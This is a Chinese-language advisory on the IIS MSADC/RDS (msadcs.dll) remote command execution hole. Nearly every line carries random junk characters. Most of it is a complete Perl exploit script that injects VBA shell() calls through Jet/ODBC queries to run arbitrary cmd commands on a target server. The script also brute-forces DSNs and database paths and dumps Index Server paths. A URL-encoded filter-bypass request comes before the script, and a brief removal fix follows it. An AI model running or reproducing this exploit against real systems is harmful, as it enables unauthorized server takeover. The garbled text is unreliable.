IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Al^h^ 9tJ \QP1jB 涉及程序:
-_T@kg[0zB Microsoft NT server
C@OY)!x! ^"{txd?6 描述:
s5&v~I;>e 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:d}@Z}2sD ;t5e] 详细:
|m>{< : 如果你没有时间读详细内容的话,就删除:
0u=FlQ
}h c:\Program Files\Common Files\System\Msadc\msadcs.dll
EL:Az~]V 有关的安全问题就没有了。
uoMDf{d ~T:L0||.%9 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
cUD}SOW ";*Iwd*V 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
't#E-+o 关于利用ODBC远程漏洞的描述,请参看:
k*k 9hv? TKrh3
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D)GD9MJ s^>1rV]=(` 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
$[M5Vv http://www.microsoft.com/security/bulletins/MS99-025faq.asp YdF\*tZ ~O~R,h> 这里不再论述。
[*z`p;n2D o}6d[G> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
VhX~sJ1%Gp ,#hx%$f}d /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
BiI`oCX 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
$94l('B6H ZuVes?&j <69Uq8GI #将下面这段保存为txt文件,然后: "perl -x 文件名"
by@}T@^\ `>N_A!pr` #!perl
HK4 *+ #
0})mCVBY # MSADC/RDS 'usage' (aka exploit) script
s* UO!bH a #
Y4,LXuQ # by rain.forest.puppy
CSNfLGA #
Uv%?z0F<C # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
+kZW:t!- # beta test and find errors!
xAJuIR1Hi E;Q
,{{# use Socket; use Getopt::Std;
65AG#O5R getopts("e:vd:h:XR", \%args);
D9-D%R, D/TEx2.=J3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rh$q] +5oK91o[y if (!defined $args{h} && !defined $args{R}) {
bqSp4TI print qq~
xZ(f_Oy Usage: msadc.pl -h <host> { -d <delay> -X -v }
&C6Z{.3V -h <host> = host you want to scan (ip or domain)
6\GL|#G -d <seconds> = delay between calls, default 1 second
W>T6Wlxu`6 -X = dump Index Server path table, if available
Gb_y"rx?0 -v = verbose
Hl b%/& -e = external dictionary file for step 5
!)+8:8H' 3%DDN\q\u Or a -R will resume a command session
" twq#Alx +"F 9yb ~; exit;}
JVt(!%K}& >' e(|P4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
kzXmiBL<9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5$Da\?Fpn if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q}MPl 2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
MrFi0G7u $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5@< D6>6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y=tx
kN 1@ .Eh8y if (!defined $args{R}){ $ret = &has_msadc;
5,u'p8}. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~|. vz!A $Oi@B)=4d+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0MX``/Z72 . "cmd /c ";
XfYhLE $in=<STDIN>; chomp $in;
?JI:>3e $command="cmd /c " . $in ;
fFNwmH-jv TF- k|##G if (defined $args{R}) {&load; exit;}
^Uq"hT(41 3PgiV%] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
zD%@3NA41 &try_btcustmr;
HL34pmc
I'>r print "\nStep 2: Trying to make our own DSN...";
$pGdGV\H &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
o<\9OQ0 gy6Pf4Yo print "\nStep 3: Trying known DSNs...";
1GI/gc\ &known_dsn;
k.("<) *9I/h~I print "\nStep 4: Trying known .mdbs...";
fsH=2p &known_mdb;
z-;2)RkV2 c ]!Yb- if (defined $args{e}){
<yz&>
+9, print "\nStep 5: Trying dictionary of DSN names...";
+c-?1j &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
B?p18u$i#l 4;.y>~z print "Sorry Charley...maybe next time?\n";
iQJ[?l` exit;
ouf91<n 64w4i)?eM[ ##############################################################################
v\3}5v%YI 3r]N\c sub sendraw { # ripped and modded from whisker
-
}2AXP2q sleep($delay); # it's a DoS on the server! At least on mine...
1Kc[).O1 my ($pstr)=@_;
72;ot` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Kb5 Y A die("Socket problems\n");
R1lC_G] if(connect(S,pack "SnA4x8",2,80,$target)){
YNV4' select(S); $|=1;
eV)'@8p print $pstr; my @in=<S>;
QM'Db`B select(STDOUT); close(S);
2!E@Gbhm5 return @in;
E"[h20`\/ } else { die("Can't connect...\n"); }}
f%JC;Y <C6*-j1oz ##############################################################################
w] =q>p s+l3]Hd sub make_header { # make the HTTP request
(M,IgSn9 my $msadc=<<EOT
F|3iKK022 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6x 8P}? User-Agent: ACTIVEDATA
u[;,~eB%w Host: $ip
**! Content-Length: $clen
ic]b"ItD Connection: Keep-Alive
0}d^UGD =
gbB)u-Pc ADCClientVersion:01.06
W]U},g8Z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@Wb_Sz4` 2qkZ B0[ --!ADM!ROX!YOUR!WORLD!
L}x,>hbT Content-Type: application/x-varg
Fy8$'oc Content-Length: $reqlen
klwNeGF]N _0: }"!Gq EOT
Sp>v`{F ; $msadc=~s/\n/\r\n/g;
/
Hg/) return $msadc;}
SB#Y^! ;LjTsF' ##############################################################################
@#CZ7~Hn y_e$W3bON, sub make_req { # make the RDS request
oR_qAb my ($switch, $p1, $p2)=@_;
1QPS=;|) my $req=""; my $t1, $t2, $query, $dsn;
#y:,owo3I m_pqU(sP if ($switch==1){ # this is the btcustmr.mdb query
~qP_1()
? $query="Select * from Customers where City=" . make_shell();
SV}C]< $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%zCV>D $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
,2C{X+t gvLzE&V} elsif ($switch==2){ # this is general make table query
?5e]^H} $query="create table AZZ (B int, C varchar(10))";
,9@JBV%_ $dsn="$p1";}
U'K{>"~1a OqcM3# elsif ($switch==3){ # this is general exploit table query
E)}& p\{E $query="select * from AZZ where C=" . make_shell();
n^P~]1i $dsn="$p1";}
zXRq) ;s pi|P&?yw elsif ($switch==4){ # attempt to hork file info from index server
/suW{8A(E $query="select path from scope()";
eKw!%97> $dsn="Provider=MSIDXS;";}
#lld*I"d Un[ 0or elsif ($switch==5){ # bad query
U:1cbD7|3 $query="select";
Gi=s|vt $dsn="$p1";}
t6JM% $/p/9 - $t1= make_unicode($query);
CfMCc:8mL $t2= make_unicode($dsn);
rQ*Fc~^L $req = "\x02\x00\x03\x00";
2/ES.>K!. $req.= "\x08\x00" . pack ("S1", length($t1));
8M,AFZ>F $req.= "\x00\x00" . $t1 ;
:psP|7%| $req.= "\x08\x00" . pack ("S1", length($t2));
*`g'*R $req.= "\x00\x00" . $t2 ;
!um~P $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
p6Ie ?Gg return $req;}
-)Zp" v+b#8 ##############################################################################
XHER [8l
c1x{$ sub make_shell { # this makes the shell() statement
"xK#%eJjWd return "'|shell(\"$command\")|'";}
N9}27T+4 >L_nu.x ##############################################################################
*\!>22* RcG
1J7#i sub make_unicode { # quick little function to convert to unicode
=}1)/gcM my ($in)=@_; my $out;
}#Gq*^w for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7kDqgod^A return $out;}
1](PuQm7+ kQt#^pO) ##############################################################################
><Awk~KR r|,_qNrw sub rdo_success { # checks for RDO return success (this is kludge)
dvX[,*wz my (@in) = @_; my $base=content_start(@in);
Nm.G,6<J if($in[$base]=~/multipart\/mixed/){
yPXa return 1 if( $in[$base+10]=~/^\x09\x00/ );}
c`E0sgp return 0;}
YQ7\99tj wdo(K.m ##############################################################################
99G'`NO gL(_!mcwu sub make_dsn { # this makes a DSN for us
]o<&Q52 | my @drives=("c","d","e","f");
|T) $E print "\nMaking DSN: ";
{IgLH`@ foreach $drive (@drives) {
3Ud{W$Ym print "$drive: ";
dWK"Tkf\ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Krw'|< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<<M1:1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
LyuA("xB# $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&`^PO$ return 0 if $2 eq "404"; # not found/doesn't exist
qvs&*lBY if($2 eq "200") {
> f*-9 foreach $line (@results) {
"pInb5F return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
089 <B& < } return 0;}
]p-xds#d /a7N:Z_Bz ##############################################################################
=v:}{~M^$ 2K
VX sub verify_exists {
o^8Z cN> my ($page)=@_;
6F8TiR& my @results=sendraw("GET $page HTTP/1.0\n\n");
vi;yT. return $results[0];}
_X]\#^UiO2 3o^~6A ##############################################################################
~LF1$Cai rf=oH
} sub try_btcustmr {
N eC]MW my @drives=("c","d","e","f");
57jDsQAj my @dirs=("winnt","winnt35","winnt351","win","windows");
=_=0l+\} >z|bQW#2 foreach $dir (@dirs) {
zb,YYE1 print "$dir -> "; # fun status so you can see progress
Qu_=K_W foreach $drive (@drives) {
m8Y>4:Nw print "$drive: "; # ditto
Y~Z&h?H'} $reqlen=length( make_req(1,$drive,$dir) ) - 28;
m8,jV R $reqlenlen=length( "$reqlen" );
K0'= O $clen= 206 + $reqlenlen + $reqlen;
TR&7AiqB 'TO/i:{\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
9
M90X8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
[U@;EeS else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-2qI2Z Hg04pZupN ##############################################################################
oH"VrS 6 vtw97G sub odbc_error {
ecMpU8}rR my (@in)=@_; my $base;
@*&`1 my $base = content_start(@in);
!%/2^ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.Mxt
F\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!IC@^kkh{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$[U:Dk} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Uo0[ZsFD return $in[$base+4].$in[$base+5].$in[$base+6];}
fi print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
iit 5IV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&~ '^;hy= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
kk$D:UQX )u=46EU_ ##############################################################################
U&o~U] rm hH]oJ}H \ sub verbose {
t; b1<TLn0 my ($in)=@_;
5;CqGzgoP return if !$verbose;
Z\S'HNU print STDOUT "\n$in\n";}
#Fckev4 _5/3RN
##############################################################################
jP31K{G? (gEz<}Av. sub save {
,8)aKy my ($p1, $p2, $p3, $p4)=@_;
zEk/#& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7?]wAH89 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Z5`U+ ( close OUT;}
S;}/ql y @@5JuI-! ##############################################################################
{`+:!X jL*s(Yq sub load {
gg&Dej2{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
IN=l|Q$8f open(IN,"<rds.save") || die("Couldn't open rds.save\n");
IXU~&5&J @p=<IN>; close(IN);
}+fBJ$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Q94p*]W" $target= inet_aton($ip) || die("inet_aton problems");
ow7*HN* print "Resuming to $ip ...";
c8oE,-~ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
H><!
C if($p[1]==1) {
6Tg'9|g $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
5 J
7XVe> $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!|-:"hE1h my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
g+QNIM> if (rdo_success(@results)){print "Success!\n";}
tN_~zP else { print "failed\n"; verbose(odbc_error(@results));}}
"u3 N9 elsif ($p[1]==3){
M5`wfF,j if(run_query("$p[3]")){
v%)=!T, print "Success!\n";} else { print "failed\n"; }}
2#Y5*r's\ elsif ($p[1]==4){
]D@y""{--s if(run_query($drvst . "$p[3]")){
J@RV ^2 print "Success!\n"; } else { print "failed\n"; }}
]ZS/9 $ exit;}
h{CMPJjD 8nTdZu ##############################################################################
w-5_Ru c HUj6'neO sub create_table {
jF6[+bW< my ($in)=@_;
66'AaA;0^i $reqlen=length( make_req(2,$in,"") ) - 28;
~-BIUZ; $reqlenlen=length( "$reqlen" );
r1zuc:W1 $clen= 206 + $reqlenlen + $reqlen;
x?2y^3<5 my @results=sendraw(make_header() . make_req(2,$in,""));
tRXR/;3O return 1 if rdo_success(@results);
2l}3L my $temp= odbc_error(@results); verbose($temp);
0c]3 ,# return 1 if $temp=~/Table 'AZZ' already exists/;
puK /;nns return 0;}
Ql9
) #IxCI)!I{[ ##############################################################################
$`txU5#vs [p96H)8YU sub known_dsn {
}^ZPah # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ca"20NQ) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Y4)=D@JI "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2^fSC`! "banner", "banners", "ads", "ADCDemo", "ADCTest");
jEW@~e qViolmDz foreach $dSn (@dsns) {
to3D#9Ep print ".";
KTjf2/ next if (!is_access("DSN=$dSn"));
_;u@xl= if(create_table("DSN=$dSn")){
e2Df@8> print "$dSn successful\n";
O^4Ko} if(run_query("DSN=$dSn")){
JDm7iJxc_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
UP@-@syGw print "Something's borked. Use verbose next time\n";}}} print "\n";}
g({dD; Y-G;;~ ##############################################################################
K2ry@haN ZJ}|t sub is_access {
"uD^1'IW2 my ($in)=@_;
Zl7m:b2M $reqlen=length( make_req(5,$in,"") ) - 28;
ym6gj#2m $reqlenlen=length( "$reqlen" );
QE~#eo $clen= 206 + $reqlenlen + $reqlen;
/;xmM2B' my @results=sendraw(make_header() . make_req(5,$in,""));
T^.W' my $temp= odbc_error(@results);
`YPNVm<3) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
vY(xH>Fd return 0;}
qh9Ix b;$jh ##############################################################################
?iaD;:'qE S1W(]%0/ sub run_query {
Hh0a\%! my ($in)=@_;
['_G1_p $reqlen=length( make_req(3,$in,"") ) - 28;
APY*SeIV $reqlenlen=length( "$reqlen" );
~
H $q $clen= 206 + $reqlenlen + $reqlen;
Uv(Uj3D my @results=sendraw(make_header() . make_req(3,$in,""));
,XmyC7y< return 1 if rdo_success(@results);
S`&YY89{& my $temp= odbc_error(@results); verbose($temp);
4&^BcWqA*f return 0;}
M;F&Ix :EZ"D#>y~ ##############################################################################
r$z0C&5 9`v[Jm% $m sub known_mdb {
~U_,z)<`)c my @drives=("c","d","e","f","g");
Qh@A7N/L my @dirs=("winnt","winnt35","winnt351","win","windows");
e X q}0-*f my $dir, $drive, $mdb;
kV3Zt@+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?#_] Lzn'
B!+`km5 # this is sparse, because I don't know of many
;c;PNihg my @sysmdbs=( "\\catroot\\icatalog.mdb",
A+bU{oLr "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
PH3#\
v.
"\\system32\\certmdb.mdb",
9|RR;k[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
$.-\2;U o;2QZ"v my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M}BqSzd* "\\cfusion\\cfapps\\forums\\forums_.mdb",
\hFIg3 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Oj^qh+r "\\cfusion\\cfapps\\security\\realm_.mdb",
J,]U"+;H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
y}!}*Qj+/ "\\cfusion\\database\\cfexamples.mdb",
rg{|/ ;imT "\\cfusion\\database\\cfsnippets.mdb",
|HMpVT-;j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Z4@GcdZ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*WpDavovyB "\\cfusion\\brighttiger\\database\\cleam.mdb",
E0a &1j "\\cfusion\\database\\smpolicy.mdb",
=)9@rV&~ "\\cfusion\\database\cypress.mdb",
1b-_![&]1 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
h?ZxS "\\website\\cgi-win\\dbsample.mdb",
x"QZ}28(t "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
FZ^j|2.L* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
yZ]u{LJS ); #these are just
JJ$q * foreach $drive (@drives) {
9Lv"|S`5W_ foreach $dir (@dirs){
$C8nPl' 7 foreach $mdb (@sysmdbs) {
Wa+q[E print ".";
'vUx4s if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^z\*;
f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
%wuD4PRK if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
]EZiPW-uy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
MUfhk)" } else { print "Something's borked. Use verbose next time\n"; }}}}}
c})f&Z@< 5T4!'4n foreach $drive (@drives) {
ET 2@dY~ foreach $mdb (@mdbs) {
{`M
'ruy.% print ".";
!*@sX7H if(create_table($drv . $drive . $dir . $mdb)){
xf]_@T; print "\n" . $drive . $dir . $mdb . " successful\n";
a@&P\"k if(run_query($drv . $drive . $dir . $mdb)){
8Mf{6&F= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
HRxA0y= } else { print "Something's borked. Use verbose next time\n"; }}}}
YB1uudW9 }
$D)Ajd; }{.0mu9 ##############################################################################
oyeJ"E2 4]18=?r> sub hork_idx {
Dw6mSsC/ print "\nAttempting to dump Index Server tables...\n";
_wKaFf print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
oe{K0.` $reqlen=length( make_req(4,"","") ) - 28;
nVt,= ?_ U $reqlenlen=length( "$reqlen" );
U4*Q;A# $clen= 206 + $reqlenlen + $reqlen;
^*=.Vuqy my @results=sendraw2(make_header() . make_req(4,"",""));
08TeGUjJ if (rdo_success(@results)){
yMoV|U6 my $max=@results; my $c; my %d;
P 4|p[V8 for($c=19; $c<$max; $c++){
wjeuZNYf $results[$c]=~s/\x00//g;
O W|5IEC $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
da/Tms`T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
yhpeP $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
p\ }Ep $d{"$1$2"}="";}
vz-O2B_u foreach $c (keys %d){ print "$c\n"; }
byTTLs,}d } else {print "Index server doesn't seem to be installed.\n"; }}
(7Q
Fy R# x~f ##############################################################################
Btgxzf ~l@
h sub dsn_dict {
m=hUHA,p4 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<)dHe: while(<IN>){
;mAlF>6]\ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{5,
]7 =] next if (!is_access("DSN=$dSn"));
OmR)W' if(create_table("DSN=$dSn")){
X5gI'u print "$dSn successful\n";
p2/Pj)2 if(run_query("DSN=$dSn")){
y]e[fZ`L print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R]! [h print "Something's borked. Use verbose next time\n";}}}
:7P/ZC% print "\n"; close(IN);}
hmQ;!9 9_ ##############################################################################
+xc1cki_{ 0<";9qN)6 sub sendraw2 { # ripped and modded from whisker
NM{/rvM sleep($delay); # it's a DoS on the server! At least on mine...
iUua!uC my ($pstr)=@_;
k:qS' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G (o9*m1 die("Socket problems\n");
/eO:1c
if(connect(S,pack "SnA4x8",2,80,$target)){
V6ICR{y<3 print "Connected. Getting data";
4fyds< f open(OUT,">raw.out"); my @in;
8*iIJ select(S); $|=1; print $pstr;
C3"5XR_Ov while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&x YO6_. close(OUT); select(STDOUT); close(S); return @in;
KW1b #g%Z } else { die("Can't connect...\n"); }}
}@XokRk qG<3H!Z!ky ##############################################################################
P<5v\\ `UK'IN.il sub content_start { # this will take in the server headers
]9P2v X my (@in)=@_; my $c;
#@3&1}J/ for ($c=1;$c<500;$c++) {
n,_q6/! if($in[$c] =~/^\x0d\x0a/){
7H l>UX,| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
-$2a@K,i else { return $c+1; }}}
,|RN?1 ?U return -1;} # it should never get here actually
L]kd.JJvy G8t9Lx ##############################################################################
!w;oVPNg 00-cT9C3 sub funky {
psFY=^69o my (@in)=@_; my $error=odbc_error(@in);
rd:WF(] if($error=~/ADO could not find the specified provider/){
^kO+NH40 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F!_8?=| exit;}
rn9n _) if($error=~/A Handler is required/){
Oe~x,=X) print "\nServer has custom handler filters (they most likely are patched)\n";
9>6DA^ exit;}
rV_i| if($error=~/specified Handler has denied Access/){
@$aGVEcU$ print "\nServer has custom handler filters (they most likely are patched)\n";
L GdM40 exit;}}
9Gc4mwu sW^e D; ##############################################################################
/2.}m`5 K8bKTG \ sub has_msadc {
rLpfybu my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
d2a*xDkv my $base=content_start(@results);
h0O t>e" return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
zo|
' return 0;}
E#!tXO&, kfV}ta'^S ########################
.<Rw16O qeUT]*
w QJ,[K_ 解决方案:
5(=5GkE)> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
9,wD 2、移除web 目录: /msadc